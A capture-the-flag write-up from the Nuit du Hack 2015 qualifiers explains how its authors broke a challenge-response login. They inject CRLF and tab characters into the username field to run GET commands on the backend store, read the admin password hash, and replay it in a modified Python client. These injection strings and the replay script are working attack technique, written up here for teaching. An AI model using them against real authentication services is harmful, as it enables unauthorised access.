QUALS_NDH 2k15 |SECURE AUTH EXPLOIT 350 [WRITEUP]

This task is an exploit task worth 350 points from the Nuit du Hack qualifications.
We are given the following Python code :

import socket
from hashlib import sha256

class SecureConnect_Client():
    def __init__(self):
        self.sock = None
        self.username = None
        self.password = None

    def connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.connect(("151.80.18.93", 4241))

    def login(self, username, password):
        self.username = username
        self.password = password
        challenge = self.get_challenge()
        authpacket = self.process_authpacket(username, password, challenge)
        print "[~] Sending auth packet..."
        self.sock.sendall(authpacket)

    def get_challenge(self):
        data = self.sock.recv(1024)
        if data[:9] == "CHALLENGE":
            print "[~] Server sent challenge : %s !" % data[10:-1]
            return data[10:-1]
        raise Exception("Bad challenge...")

    def process_authpacket(self, username, authtoken, challenge):
        packet = "AUTH %s|%s" % (username, sha256(sha256(authtoken).hexdigest() + challenge).hexdigest())
        print "[+] Auth data : %s" % packet
        return packet

    def get_response(self):
        print self.sock.recv(1024)
        print self.sock.recv(1024)

    def close(self):
        self.sock.close()

if __name__ == "__main__":
    scc = SecureConnect_Client()
    scc.connect()
    scc.login("username", "password")
    scc.get_response()
    scc.close()

This scripts connects to a server (151.80.18.93, port 4241).
The servers sends us a challenge. It will be used as a salt to hash our password.
We then try to login with the following command :

AUTH $login|sha256(sha256($pass) || $challenge)

(Where || is a concatenation.)
The algorithm seems to be pretty secure. But there has to be a way to break it.
Overflow didn’t work.
Format string didn’t work.
We then tried to inject special chars, such as quotes, new lines… and figured that new lines produced an unexpected behaviour.

By putting a new line, we got the following error :

[+] Welcome -ERR unknown command ':name' we are verifying your password...

We tried to guess commands, and connect with « \r\nGET\r\n ».

[+] Welcome -ERR wrong number of arguments for 'get' command we are verifying your password...

Spaces are not allowed. New lines makes a new command. So we need a whitespace char : \t.

Loging in with \r\nGET\tyolo\r\n :

[+] Welcome $-1 we are verifying your password...

We managed to get the original behaviour by using « admin:name\r\nGET\t » as a login.
It makes the following commands :
GET admin:name
GET :name

[+] Welcome Administrator we are verifying your password...

Our thoughts are that it was probably a database. So we tried to guess an other field, like… a password, maybe ?
admin:password\r\nGET\t

[+] Welcome 837a135ad3ccb1978f169aa62a62a028b76ec42b2284791bd4703421ec050529 we are verifying your password...

Hum hum. 🙂
Since the hash we send is sha256($hash || $challenge), we need to edit the script to send our hash, and login as admin.
Final code :

import socket
from hashlib import sha256

class SecureConnect_Client():
	def __init__(self):
		self.sock = None
		self.username = None
		self.password = None

	def connect(self):
		self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		self.sock.connect(("151.80.18.93", 4241))

	def login(self, username, password):
		self.username = username
		self.password = password
		challenge = self.get_challenge()
		authpacket = self.process_authpacket(username, password, challenge)
		print("[~] Sending auth packet...")
		self.sock.sendall(authpacket.encode())

	def get_challenge(self):
		data = self.sock.recv(1024)
		if data[:9] == b"CHALLENGE":
			print("[~] Server sent challenge : {} !".format(data[10:-1]))
			return data[10:-1]
		raise Exception("Bad challenge...")

	def process_authpacket(self, username, authtoken, challenge):
		packet = "AUTH {}|{}".format(username, authtoken)#sha256(sha256(authtoken.encode()).hexdigest() + challenge).hexdigest())
		packet = "AUTH {}|{}".format(username, sha256(authtoken.encode() + challenge).hexdigest())
		print("[+] Auth data : {}".format(packet))
		return packet

	def get_response(self):
		print(self.sock.recv(1024).decode())
		print(self.sock.recv(1024).decode())

	def close(self):
		self.sock.close()

if __name__ == "__main__":
	scc = SecureConnect_Client()
	scc.connect()
	# scc.login("user'name", "password")
	scc.login("admin:password\r\nGET\t", "837a135ad3ccb1978f169aa62a62a028b76ec42b2284791bd4703421ec050529")
	scc.get_response()
	scc.close()

Result :
[+] Congrats. The flag is : *INSERT_FUNNY_QUOTE_HERE*

Flag: *INSERT_FUNNY_QUOTE_HERE*.

Thanks to
Tishrom

XeR

Votre commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l’aide de votre compte WordPress.com. Déconnexion /  Changer )

Photo Facebook

Vous commentez à l’aide de votre compte Facebook. Déconnexion /  Changer )

Connexion à %s